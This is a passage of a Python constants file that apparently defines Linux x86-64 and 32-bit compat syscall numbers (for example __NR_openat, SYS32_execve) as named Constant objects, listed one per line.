Constant('__NR_msgget',68)\n__NR_msgsnd = Constant('__NR_msgsnd',69)\n__NR_msgrcv = Constant('__NR_msgrcv',70)\n__NR_msgctl = Constant('__NR_msgctl',71)\n__NR_fcntl = Constant('__NR_fcntl',72)\n__NR_flock = Constant('__NR_flock',73)\n__NR_fsync = Constant('__NR_fsync',74)\n__NR_fdatasync = Constant('__NR_fdatasync',75)\n__NR_truncate = Constant('__NR_truncate',76)\n__NR_ftruncate = Constant('__NR_ftruncate',77)\n__NR_getdents = Constant('__NR_getdents',78)\n__NR_getcwd = Constant('__NR_getcwd',79)\n__NR_chdir = Constant('__NR_chdir',80)\n__NR_fchdir = Constant('__NR_fchdir',81)\n__NR_rename = Constant('__NR_rename',82)\n__NR_mkdir = Constant('__NR_mkdir',83)\n__NR_rmdir = Constant('__NR_rmdir',84)\n__NR_creat = Constant('__NR_creat',85)\n__NR_link = Constant('__NR_link',86)\n__NR_unlink = Constant('__NR_unlink',87)\n__NR_symlink = Constant('__NR_symlink',88)\n__NR_readlink = Constant('__NR_readlink',89)\n__NR_chmod = Constant('__NR_chmod',90)\n__NR_fchmod = Constant('__NR_fchmod',91)\n__NR_chown = Constant('__NR_chown',92)\n__NR_fchown = Constant('__NR_fchown',93)\n__NR_lchown = Constant('__NR_lchown',94)\n__NR_umask = Constant('__NR_umask',95)\n__NR_gettimeofday = Constant('__NR_gettimeofday',96)\n__NR_getrlimit = Constant('__NR_getrlimit',97)\n__NR_getrusage = Constant('__NR_getrusage',98)\n__NR_sysinfo = Constant('__NR_sysinfo',99)\n__NR_times = Constant('__NR_times',100)\n__NR_ptrace = Constant('__NR_ptrace',101)\n__NR_getuid = Constant('__NR_getuid',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_getgid = Constant('__NR_getgid',104)\n__NR_setuid = Constant('__NR_setuid',105)\n__NR_setgid = Constant('__NR_setgid',106)\n__NR_geteuid = Constant('__NR_geteuid',107)\n__NR_getegid = Constant('__NR_getegid',108)\n__NR_setpgid = Constant('__NR_setpgid',109)\n__NR_getppid = Constant('__NR_getppid',110)\n__NR_getpgrp = Constant('__NR_getpgrp',111)\n__NR_setsid = Constant('__NR_setsid',112)\n__NR_setreuid = Constant('__NR_setreuid',113)\n__NR_setregid = Constant('__NR_setregid',114)\n__NR_getgroups = Constant('__NR_getgroups',115)\n__NR_setgroups = Constant('__NR_setgroups',116)\n__NR_setresuid = Constant('__NR_setresuid',117)\n__NR_getresuid = Constant('__NR_getresuid',118)\n__NR_setresgid = Constant('__NR_setresgid',119)\n__NR_getresgid = Constant('__NR_getresgid',120)\n__NR_getpgid = Constant('__NR_getpgid',121)\n__NR_setfsuid = Constant('__NR_setfsuid',122)\n__NR_setfsgid = Constant('__NR_setfsgid',123)\n__NR_getsid = Constant('__NR_getsid',124)\n__NR_capget = Constant('__NR_capget',125)\n__NR_capset = Constant('__NR_capset',126)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',127)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',128)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',129)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',130)\n__NR_sigaltstack = Constant('__NR_sigaltstack',131)\n__NR_utime = Constant('__NR_utime',132)\n__NR_mknod = Constant('__NR_mknod',133)\n__NR_uselib = Constant('__NR_uselib',134)\n__NR_personality = Constant('__NR_personality',135)\n__NR_ustat = Constant('__NR_ustat',136)\n__NR_statfs = Constant('__NR_statfs',137)\n__NR_fstatfs = Constant('__NR_fstatfs',138)\n__NR_sysfs = Constant('__NR_sysfs',139)\n__NR_getpriority = Constant('__NR_getpriority',140)\n__NR_setpriority = Constant('__NR_setpriority',141)\n__NR_sched_setparam = Constant('__NR_sched_setparam',142)\n__NR_sched_getparam = Constant('__NR_sched_getparam',143)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',144)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',145)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',146)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',147)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',148)\n__NR_mlock = Constant('__NR_mlock',149)\n__NR_munlock = Constant('__NR_munlock',150)\n__NR_mlockall = Constant('__NR_mlockall',151)\n__NR_munlockall = Constant('__NR_munlockall',152)\n__NR_vhangup = Constant('__NR_vhangup',153)\n__NR_modify_ldt = Constant('__NR_modify_ldt',154)\n__NR_pivot_root = Constant('__NR_pivot_root',155)\n__NR__sysctl = Constant('__NR__sysctl',156)\n__NR_prctl = Constant('__NR_prctl',157)\n__NR_arch_prctl = Constant('__NR_arch_prctl',158)\n__NR_adjtimex = Constant('__NR_adjtimex',159)\n__NR_setrlimit = Constant('__NR_setrlimit',160)\n__NR_chroot = Constant('__NR_chroot',161)\n__NR_sync = Constant('__NR_sync',162)\n__NR_acct = Constant('__NR_acct',163)\n__NR_settimeofday = Constant('__NR_settimeofday',164)\n__NR_mount = Constant('__NR_mount',165)\n__NR_umount2 = Constant('__NR_umount2',166)\n__NR_swapon = Constant('__NR_swapon',167)\n__NR_swapoff = Constant('__NR_swapoff',168)\n__NR_reboot = Constant('__NR_reboot',169)\n__NR_sethostname = Constant('__NR_sethostname',170)\n__NR_setdomainname = Constant('__NR_setdomainname',171)\n__NR_iopl = Constant('__NR_iopl',172)\n__NR_ioperm = Constant('__NR_ioperm',173)\n__NR_create_module = Constant('__NR_create_module',174)\n__NR_init_module = Constant('__NR_init_module',175)\n__NR_delete_module = Constant('__NR_delete_module',176)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',177)\n__NR_query_module = Constant('__NR_query_module',178)\n__NR_quotactl = Constant('__NR_quotactl',179)\n__NR_nfsservctl = Constant('__NR_nfsservctl',180)\n__NR_getpmsg = Constant('__NR_getpmsg',181)\n__NR_putpmsg = Constant('__NR_putpmsg',182)\n__NR_afs_syscall = Constant('__NR_afs_syscall',183)\n__NR_tuxcall = Constant('__NR_tuxcall',184)\n__NR_security = Constant('__NR_security',185)\n__NR_gettid = Constant('__NR_gettid',186)\n__NR_readahead = Constant('__NR_readahead',187)\n__NR_setxattr = Constant('__NR_setxattr',188)\n__NR_lsetxattr = Constant('__NR_lsetxattr',189)\n__NR_fsetxattr = Constant('__NR_fsetxattr',190)\n__NR_getxattr = Constant('__NR_getxattr',191)\n__NR_lgetxattr = Constant('__NR_lgetxattr',192)\n__NR_fgetxattr = Constant('__NR_fgetxattr',193)\n__NR_listxattr = Constant('__NR_listxattr',194)\n__NR_llistxattr = Constant('__NR_llistxattr',195)\n__NR_flistxattr = Constant('__NR_flistxattr',196)\n__NR_removexattr = Constant('__NR_removexattr',197)\n__NR_lremovexattr = Constant('__NR_lremovexattr',198)\n__NR_fremovexattr = Constant('__NR_fremovexattr',199)\n__NR_tkill = Constant('__NR_tkill',200)\n__NR_time = Constant('__NR_time',201)\n__NR_futex = Constant('__NR_futex',202)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',203)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',204)\n__NR_set_thread_area = Constant('__NR_set_thread_area',205)\n__NR_io_setup = Constant('__NR_io_setup',206)\n__NR_io_destroy = Constant('__NR_io_destroy',207)\n__NR_io_getevents = Constant('__NR_io_getevents',208)\n__NR_io_submit = Constant('__NR_io_submit',209)\n__NR_io_cancel = Constant('__NR_io_cancel',210)\n__NR_get_thread_area = Constant('__NR_get_thread_area',211)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',212)\n__NR_epoll_create = Constant('__NR_epoll_create',213)\n__NR_epoll_ctl_old = Constant('__NR_epoll_ctl_old',214)\n__NR_epoll_wait_old = Constant('__NR_epoll_wait_old',215)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',216)\n__NR_getdents64 = Constant('__NR_getdents64',217)\n__NR_set_tid_address = Constant('__NR_set_tid_address',218)\n__NR_restart_syscall = Constant('__NR_restart_syscall',219)\n__NR_semtimedop = Constant('__NR_semtimedop',220)\n__NR_fadvise64 = Constant('__NR_fadvise64',221)\n__NR_timer_create = Constant('__NR_timer_create',222)\n__NR_timer_settime = Constant('__NR_timer_settime',223)\n__NR_timer_gettime = Constant('__NR_timer_gettime',224)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',225)\n__NR_timer_delete = Constant('__NR_timer_delete',226)\n__NR_clock_settime = Constant('__NR_clock_settime',227)\n__NR_clock_gettime = Constant('__NR_clock_gettime',228)\n__NR_clock_getres = Constant('__NR_clock_getres',229)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',230)\n__NR_exit_group = Constant('__NR_exit_group',231)\n__NR_epoll_wait = Constant('__NR_epoll_wait',232)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',233)\n__NR_tgkill = Constant('__NR_tgkill',234)\n__NR_utimes = Constant('__NR_utimes',235)\n__NR_vserver = Constant('__NR_vserver',236)\n__NR_vserver = Constant('__NR_vserver',236)\n__NR_mbind = Constant('__NR_mbind',237)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',238)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',239)\n__NR_mq_open = Constant('__NR_mq_open',240)\n__NR_mq_unlink = Constant('__NR_mq_unlink',241)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',242)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',243)\n__NR_mq_notify = Constant('__NR_mq_notify',244)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',245)\n__NR_kexec_load = Constant('__NR_kexec_load',246)\n__NR_waitid = Constant('__NR_waitid',247)\n__NR_add_key = Constant('__NR_add_key',248)\n__NR_request_key = Constant('__NR_request_key',249)\n__NR_keyctl = Constant('__NR_keyctl',250)\n__NR_ioprio_set = Constant('__NR_ioprio_set',251)\n__NR_ioprio_get = Constant('__NR_ioprio_get',252)\n__NR_inotify_init = Constant('__NR_inotify_init',253)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',254)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',255)\n__NR_migrate_pages = Constant('__NR_migrate_pages',256)\n__NR_openat = Constant('__NR_openat',257)\n__NR_mkdirat = Constant('__NR_mkdirat',258)\n__NR_mknodat = Constant('__NR_mknodat',259)\n__NR_fchownat = Constant('__NR_fchownat',260)\n__NR_futimesat = Constant('__NR_futimesat',261)\n__NR_newfstatat = Constant('__NR_newfstatat',262)\n__NR_unlinkat = Constant('__NR_unlinkat',263)\n__NR_renameat = Constant('__NR_renameat',264)\n__NR_linkat = Constant('__NR_linkat',265)\n__NR_symlinkat = Constant('__NR_symlinkat',266)\n__NR_readlinkat = Constant('__NR_readlinkat',267)\n__NR_fchmodat = Constant('__NR_fchmodat',268)\n__NR_faccessat = Constant('__NR_faccessat',269)\n__NR_pselect6 = Constant('__NR_pselect6',270)\n__NR_ppoll = Constant('__NR_ppoll',271)\n__NR_unshare = Constant('__NR_unshare',272)\n__NR_set_robust_list = Constant('__NR_set_robust_list',273)\n__NR_get_robust_list = Constant('__NR_get_robust_list',274)\n__NR_splice = Constant('__NR_splice',275)\n__NR_tee = Constant('__NR_tee',276)\n__NR_sync_file_range = Constant('__NR_sync_file_range',277)\n__NR_vmsplice = Constant('__NR_vmsplice',278)\n__NR_move_pages = Constant('__NR_move_pages',279)\n__NR_utimensat = Constant('__NR_utimensat',280)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',281)\n__NR_signalfd = Constant('__NR_signalfd',282)\n__NR_timerfd = Constant('__NR_timerfd',283)\n__NR_eventfd = Constant('__NR_eventfd',284)\n__NR_fallocate = Constant('__NR_fallocate',285)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',286)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',287)\n__NR_accept4 = Constant('__NR_accept4',288)\n__NR_signalfd4 = Constant('__NR_signalfd4',289)\n__NR_eventfd2 = Constant('__NR_eventfd2',290)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',291)\n__NR_dup3 = Constant('__NR_dup3',292)\n__NR_pipe2 = Constant('__NR_pipe2',293)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',294)\n__NR_preadv = Constant('__NR_preadv',295)\n__NR_pwritev = Constant('__NR_pwritev',296)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',297)\n__NR_perf_event_open = Constant('__NR_perf_event_open',298)\n__NR_recvmmsg = Constant('__NR_recvmmsg',299)\n__NR_fanotify_init = Constant('__NR_fanotify_init',300)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',301)\n__NR_prlimit64 = Constant('__NR_prlimit64',302)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',303)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',304)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',305)\n__NR_syncfs = Constant('__NR_syncfs',306)\n__NR_sendmmsg = Constant('__NR_sendmmsg',307)\n__NR_setns = Constant('__NR_setns',308)\n__NR_getcpu = Constant('__NR_getcpu',309)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',310)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',311)\n__NR_kcmp = Constant('__NR_kcmp',312)\n__NR_finit_module = Constant('__NR_finit_module',313)\n__NR_sched_setattr = Constant('__NR_sched_setattr',314)\n__NR_sched_getattr = Constant('__NR_sched_getattr',315)\n__NR_renameat2 = Constant('__NR_renameat2',316)\n__NR_seccomp = Constant('__NR_seccomp',317)\n__NR_getrandom = Constant('__NR_getrandom',318)\n__NR_memfd_create = Constant('__NR_memfd_create',319)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',320)\n__NR_bpf = Constant('__NR_bpf',321)\n__NR_execveat = Constant('__NR_execveat',322)\n__NR_userfaultfd = Constant('__NR_userfaultfd',323)\n__NR_membarrier = Constant('__NR_membarrier',324)\n__NR_mlock2 = Constant('__NR_mlock2',325)\n__NR_copy_file_range = Constant('__NR_copy_file_range',326)\n__NR_preadv2 = Constant('__NR_preadv2',327)\n__NR_pwritev2 = Constant('__NR_pwritev2',328)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',329)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',330)\n__NR_pkey_free = Constant('__NR_pkey_free',331)\n__NR_statx = Constant('__NR_statx',332)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',333)\n__NR_rseq = Constant('__NR_rseq',334)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nSYS32_restart_syscall = Constant('SYS32_restart_syscall',0)\nSYS32_exit = Constant('SYS32_exit',1)\nSYS32_fork = Constant('SYS32_fork',2)\nSYS32_read = Constant('SYS32_read',3)\nSYS32_write = Constant('SYS32_write',4)\nSYS32_open = Constant('SYS32_open',5)\nSYS32_close = Constant('SYS32_close',6)\nSYS32_waitpid = Constant('SYS32_waitpid',7)\nSYS32_creat = Constant('SYS32_creat',8)\nSYS32_link = Constant('SYS32_link',9)\nSYS32_unlink = Constant('SYS32_unlink',10)\nSYS32_execve = Constant('SYS32_execve',11)\nSYS32_chdir = Constant('SYS32_chdir',12)\nSYS32_time = Constant('SYS32_time',13)\nSYS32_mknod = Constant('SYS32_mknod',14)\nSYS32_chmod = Constant('SYS32_chmod',15)\nSYS32_lchown = Constant('SYS32_lchown',16)\nSYS32_break = Constant('SYS32_break',17)\nSYS32_oldstat = Constant('SYS32_oldstat',18)\nSYS32_lseek = Constant('SYS32_lseek',19)\nSYS32_getpid = Constant('SYS32_getpid',20)\nSYS32_mount = Constant('SYS32_mount',21)\nSYS32_umount = Constant('SYS32_umount',22)\nSYS32_setuid = Constant('SYS32_setuid',23)\nSYS32_getuid = Constant('SYS32_getuid',24)\nSYS32_stime = Constant('SYS32_stime',25)\nSYS32_ptrace = Constant('SYS32_ptrace',26)\nSYS32_alarm = Constant('SYS32_alarm',27)\nSYS32_oldfstat = Constant('SYS32_oldfstat',28)\nSYS32_pause = Constant('SYS32_pause',29)\nSYS32_utime = Constant('SYS32_utime',30)\nSYS32_stty = Constant('SYS32_stty',31)\nSYS32_gtty = Constant('SYS32_gtty',32)\nSYS32_access = Constant('SYS32_access',33)\nSYS32_nice = Constant('SYS32_nice',34)\nSYS32_ftime = Constant('SYS32_ftime',35)\nSYS32_sync = Constant('SYS32_sync',36)\nSYS32_kill = Constant('SYS32_kill',37)\nSYS32_rename = Constant('SYS32_rename',38)\nSYS32_mkdir = Constant('SYS32_mkdir',39)\nSYS32_rmdir = Constant('SYS32_rmdir',40)\nSYS32_dup = Constant('SYS32_dup',41)\nSYS32_pipe = Constant('SYS32_pipe',42)\nSYS32_times = Constant('SYS32_times',43)\nSYS32_prof = Constant('SYS32_prof',44)\nSYS32_brk = Constant('SYS32_brk',45)\nSYS32_setgid = Constant('SYS32_setgid',46)\nSYS32_getgid = Constant('SYS32_getgid',47)\nSYS32_signal = Constant('SYS32_signal',48)\nSYS32_geteuid = Constant('SYS32_geteuid',49)\nSYS32_getegid = Constant('SYS32_getegid',50)\nSYS32_acct = Constant('SYS32_acct',51)\nSYS32_umount2 = Constant('SYS32_umount2',52)\nSYS32_lock = Constant('SYS32_lock',53)\nSYS32_ioctl = Constant('SYS32_ioctl',54)\nSYS32_fcntl = Constant('SYS32_fcntl',55)\nSYS32_mpx = Constant('SYS32_mpx',56)\nSYS32_setpgid = Constant('SYS32_setpgid',57)\nSYS32_ulimit = Constant('SYS32_ulimit',58)\nSYS32_oldolduname = Constant('SYS32_oldolduname',59)\nSYS32_umask = Constant('SYS32_umask',60)\nSYS32_chroot = Constant('SYS32_chroot',61)\nSYS32_ustat = Constant('SYS32_ustat',62)\nSYS32_dup2 = Constant('SYS32_dup2',63)\nSYS32_getppid = Constant('SYS32_getppid',64)\nSYS32_getpgrp = Constant('SYS32_getpgrp',65)\nSYS32_setsid = Constant('SYS32_setsid',66)\nSYS32_sigaction = Constant('SYS32_sigaction',67)\nSYS32_sgetmask = Constant('SYS32_sgetmask',68)\nSYS32_ssetmask = Constant('SYS32_ssetmask',69)\nSYS32_setreuid = Constant('SYS32_setreuid',70)\nSYS32_setregid = Constant('SYS32_setregid',71)\nSYS32_sigsuspend = Constant('SYS32_sigsuspend',72)\nSYS32_sigpending = Constant('SYS32_sigpending',73)\nSYS32_sethostname = Constant('SYS32_sethostname',74)\nSYS32_setrlimit = Constant('SYS32_setrlimit',75)\nSYS32_getrlimit = Constant('SYS32_getrlimit',76)\nSYS32_getrusage = Constant('SYS32_getrusage',77)\nSYS32_gettimeofday = Constant('SYS32_gettimeofday',78)\nSYS32_settimeofday = Constant('SYS32_settimeofday',79)\nSYS32_getgroups = Constant('SYS32_getgroups',80)\nSYS32_setgroups = Constant('SYS32_setgroups',81)\nSYS32_select = Constant('SYS32_select',82)\nSYS32_symlink = Constant('SYS32_symlink',83)\nSYS32_oldlstat = Constant('SYS32_oldlstat',84)\nSYS32_readlink = Constant('SYS32_readlink',85)\nSYS32_uselib = Constant('SYS32_uselib',86)\nSYS32_swapon = Constant('SYS32_swapon',87)\nSYS32_reboot = Constant('SYS32_reboot',88)\nSYS32_readdir = Constant('SYS32_readdir',89)\nSYS32_mmap = Constant('SYS32_mmap',90)\nSYS32_munmap = Constant('SYS32_munmap',91)\nSYS32_truncate = Constant('SYS32_truncate',92)\nSYS32_ftruncate = Constant('SYS32_ftruncate',93)\nSYS32_fchmod = Constant('SYS32_fchmod',94)\nSYS32_fchown = Constant('SYS32_fchown',95)\nSYS32_getpriority = Constant('SYS32_getpriority',96)\nSYS32_setpriority = Constant('SYS32_setpriority',97)\nSYS32_profil = Constant('SYS32_profil',98)\nSYS32_statfs = Constant('SYS32_statfs',99)\nSYS32_fstatfs = Constant('SYS32_fstatfs',100)\nSYS32_ioperm = Constant('SYS32_ioperm',101)\nSYS32_socketcall = Constant('SYS32_socketcall',102)\nSYS32_syslog = Constant('SYS32_syslog',103)\nSYS32_setitimer = Constant('SYS32_setitimer',104)\nSYS32_getitimer = Constant('SYS32_getitimer',105)\nSYS32_stat = Constant('SYS32_stat',106)\nSYS32_lstat = Constant('SYS32_lstat',107)\nSYS32_fstat = Constant('SYS32_fstat',108)\nSYS32_olduname = Constant('SYS32_olduname',109)\nSYS32_iopl = Constant('SYS32_iopl',110)\nSYS32_vhangup = Constant('SYS32_vhangup',111)\nSYS32_idle = Constant('SYS32_idle',112)\nSYS32_vm86old = Constant('SYS32_vm86old',113)\nSYS32_wait4 = Constant('SYS32_wait4',114)\nSYS32_swapoff = Constant('SYS32_swapoff',115)\nSYS32_sysinfo = Constant('SYS32_sysinfo',116)\nSYS32_ipc = Constant('SYS32_ipc',117)\nSYS32_fsync = Constant('SYS32_fsync',118)\nSYS32_sigreturn = Constant('SYS32_sigreturn',119)\nSYS32_clone = Constant('SYS32_clone',120)\nSYS32_setdomainname = Constant('SYS32_setdomainname',121)\nSYS32_uname = Constant('SYS32_uname',122)\nSYS32_modify_ldt = Constant('SYS32_modify_ldt',123)\nSYS32_adjtimex = Constant('SYS32_adjtimex',124)\nSYS32_mprotect = Constant('SYS32_mprotect',125)\nSYS32_sigprocmask = Constant('SYS32_sigprocmask',126)\nSYS32_create_module = Constant('SYS32_create_module',127)\nSYS32_init_module = Constant('SYS32_init_module',128)\nSYS32_delete_module = Constant('SYS32_delete_module',129)\nSYS32_get_kernel_syms = Constant('SYS32_get_kernel_syms',130)\nSYS32_quotactl = Constant('SYS32_quotactl',131)\nSYS32_getpgid = Constant('SYS32_getpgid',132)\nSYS32_fchdir = Constant('SYS32_fchdir',133)\nSYS32_bdflush = Constant('SYS32_bdflush',134)\nSYS32_sysfs = Constant('SYS32_sysfs',135)\nSYS32_personality = Constant('SYS32_personality',136)\nSYS32_afs_syscall = Constant('SYS32_afs_syscall',137)\nSYS32_setfsuid = Constant('SYS32_setfsuid',138)\nSYS32_setfsgid = Constant('SYS32_setfsgid',139)\nSYS32__llseek = Constant('SYS32__llseek',140)\nSYS32_getdents = Constant('SYS32_getdents',141)\nSYS32__newselect = Constant('SYS32__newselect',142)\nSYS32_flock = Constant('SYS32_flock',143)\nSYS32_msync = Constant('SYS32_msync',144)\nSYS32_readv = Constant('SYS32_readv',145)\nSYS32_writev = Constant('SYS32_writev',146)\nSYS32_getsid = Constant('SYS32_getsid',147)\nSYS32_fdatasync = Constant('SYS32_fdatasync',148)\nSYS32__sysctl = Constant('SYS32__sysctl',149)\nSYS32_mlock = Constant('SYS32_mlock',150)\nSYS32_munlock = Constant('SYS32_munlock',151)\nSYS32_mlockall = Constant('SYS32_mlockall',152)\nSYS32_munlockall = Constant('SYS32_munlockall',153)\nSYS32_sched_setparam = Constant('SYS32_sched_setparam',154)\nSYS32_sched_getparam = Constant('SYS32_sched_getparam',155)\nSYS32_sched_setscheduler = Constant('SYS32_sched_setscheduler',156)\nSYS32_sched_getscheduler = Constant('SYS32_sched_getscheduler',157)\nSYS32_sched_yield = Constant('SYS32_sched_yield',158)\nSYS32_sched_get_priority_max = Constant('SYS32_sched_get_priority_max',159)\nSYS32_sched_get_priority_min = Constant('SYS32_sched_get_priority_min',160)\nSYS32_sched_rr_get_interval = Constant('SYS32_sched_rr_get_interval',161)\nSYS32_nanosleep = Constant('SYS32_nanosleep',162)\nSYS32_mremap = Constant('SYS32_mremap',163)\nSYS32_setresuid = Constant('SYS32_setresuid',164)\nSYS32_getresuid = Constant('SYS32_getresuid',165)\nSYS32_vm86 = Constant('SYS32_vm86',166)\nSYS32_query_module = Constant('SYS32_query_module',167)\nSYS32_poll = Constant('SYS32_poll',168)\nSYS32_nfsservctl = Constant('SYS32_nfsservctl',169)\nSYS32_setresgid = Constant('SYS32_setresgid',170)\nSYS32_getresgid = Constant('SYS32_getresgid',171)\nSYS32_prctl = Constant('SYS32_prctl',172)\nSYS32_rt_sigreturn = Constant('SYS32_rt_sigreturn',173)\nSYS32_rt_sigaction = Constant('SYS32_rt_sigaction',174)\nSYS32_rt_sigprocmask = Constant('SYS32_rt_sigprocmask',175)\nSYS32_rt_sigpending = Constant('SYS32_rt_sigpending',176)\nSYS32_rt_sigtimedwait = Constant('SYS32_rt_sigtimedwait',177)\nSYS32_rt_sigqueueinfo = Constant('SYS32_rt_sigqueueinfo',178)\nSYS32_rt_sigsuspend = Constant('SYS32_rt_sigsuspend',179)\nSYS32_pread64 = Constant('SYS32_pread64',180)\nSYS32_pwrite64 = Constant('SYS32_pwrite64',181)\nSYS32_chown = Constant('SYS32_chown',182)\nSYS32_getcwd = Constant('SYS32_getcwd',183)\nSYS32_capget = Constant('SYS32_capget',184)\nSYS32_capset = Constant('SYS32_capset',185)\nSYS32_sigaltstack = Constant('SYS32_sigaltstack',186)\nSYS32_sendfile = Constant('SYS32_sendfile',187)\nSYS32_getpmsg = Constant('SYS32_getpmsg',188)\nSYS32_putpmsg = Constant('SYS32_putpmsg',189)\nSYS32_vfork = Constant('SYS32_vfork',190)\nSYS32_ugetrlimit = Constant('SYS32_ugetrlimit',191)\nSYS32_mmap2 = Constant('SYS32_mmap2',192)\nSYS32_truncate64 = Constant('SYS32_truncate64',193)\nSYS32_ftruncate64 = Constant('SYS32_ftruncate64',194)\nSYS32_stat64 = Constant('SYS32_stat64',195)\nSYS32_lstat64 = Constant('SYS32_lstat64',196)\nSYS32_fstat64 = Constant('SYS32_fstat64',197)\nSYS32_lchown32 = Constant('SYS32_lchown32',198)\nSYS32_getuid32 = Constant('SYS32_getuid32',199)\nSYS32_getgid32 = Constant('SYS32_getgid32',200)\nSYS32_geteuid32 = Constant('SYS32_geteuid32',201)\nSYS32_getegid32 = Constant('SYS32_getegid32',202)\nSYS32_setreuid32 = Constant('SYS32_setreuid32',203)\nSYS32_setregid32 = Constant('SYS32_setregid32',204)\nSYS32_getgroups32 = Constant('SYS32_getgroups32',205)\nSYS32_setgroups32 = Constant('SYS32_setgroups32',206)\nSYS32_fchown32 = Constant('SYS32_fchown32',207)\nSYS32_setresuid32 = Constant('SYS32_setresuid32',208)\nSYS32_getresuid32 = Constant('SYS32_getresuid32',209)\nSYS32_setresgid32 = Constant('SYS32_setresgid32',210)\nSYS32_getresgid32 = Constant('SYS32_getresgid32',211)\nSYS32_chown32 = Constant('SYS32_chown32',212)\nSYS32_setuid32 = Constant('SYS32_setuid32',213)\nSYS32_setgid32 = Constant('SYS32_setgid32',214)\nSYS32_setfsuid32 = Constant('SYS32_setfsuid32',215)\nSYS32_setfsgid32 = Constant('SYS32_setfsgid32',216)\nSYS32_pivot_root = Constant('SYS32_pivot_root',217)\nSYS32_mincore = Constant('SYS32_mincore',218)\nSYS32_madvise = Constant('SYS32_madvise',219)\nSYS32_madvise1 = Constant('SYS32_madvise1',219)\nSYS32_getdents64 = Constant('SYS32_getdents64',220)\nSYS32_fcntl64 = Constant('SYS32_fcntl64',221)\nSYS32_gettid = Constant('SYS32_gettid',224)\nSYS32_readahead = Constant('SYS32_readahead',225)\nSYS32_setxattr = Constant('SYS32_setxattr',226)\nSYS32_lsetxattr = Constant('SYS32_lsetxattr',227)\nSYS32_fsetxattr = Constant('SYS32_fsetxattr',228)\nSYS32_getxattr = Constant('SYS32_getxattr',229)\nSYS32_lgetxattr = Constant('SYS32_lgetxattr',230)\nSYS32_fgetxattr = Constant('SYS32_fgetxattr',231)\nSYS32_listxattr = Constant('SYS32_listxattr',232)\nSYS32_llistxattr = Constant('SYS32_llistxattr',233)\nSYS32_flistxattr = Constant('SYS32_flistxattr',234)\nSYS32_removexattr = Constant('SYS32_removexattr',235)\nSYS32_lremovexattr = Constant('SYS32_lremovexattr',236)\nSYS32_fremovexattr = Constant('SYS32_fremovexattr',237)\nSYS32_tkill = Constant('SYS32_tkill',238)\nSYS32_sendfile64 = Constant('SYS32_sendfile64',239)\nSYS32_futex = Constant('SYS32_futex',240)\nSYS32_sched_setaffinity = Constant('SYS32_sched_setaffinity',241)\nSYS32_sched_getaffinity = Constant('SYS32_sched_getaffinity',242)\nSYS32_set_thread_area = Constant('SYS32_set_thread_area',243)\nSYS32_get_thread_area = Constant('SYS32_get_thread_area',244)\nSYS32_io_setup = Constant('SYS32_io_setup',245)\nSYS32_io_destroy = Constant('SYS32_io_destroy',246)\nSYS32_io_getevents = Constant('SYS32_io_getevents',247)\nSYS32_io_submit = Constant('SYS32_io_submit',248)\nSYS32_io_cancel = Constant('SYS32_io_cancel',249)\nSYS32_fadvise64 = Constant('SYS32_fadvise64',250)\nSYS32_exit_group = Constant('SYS32_exit_group',252)\nSYS32_lookup_dcookie = Constant('SYS32_lookup_dcookie',253)\nSYS32_epoll_create = Constant('SYS32_epoll_create',254)\nSYS32_epoll_ctl = Constant('SYS32_epoll_ctl',255)\nSYS32_epoll_wait = Constant('SYS32_epoll_wait',256)\nSYS32_remap_file_pages = Constant('SYS32_remap_file_pages',257)\nSYS32_set_tid_address = Constant('SYS32_set_tid_address',258)\nSYS32_timer_create = 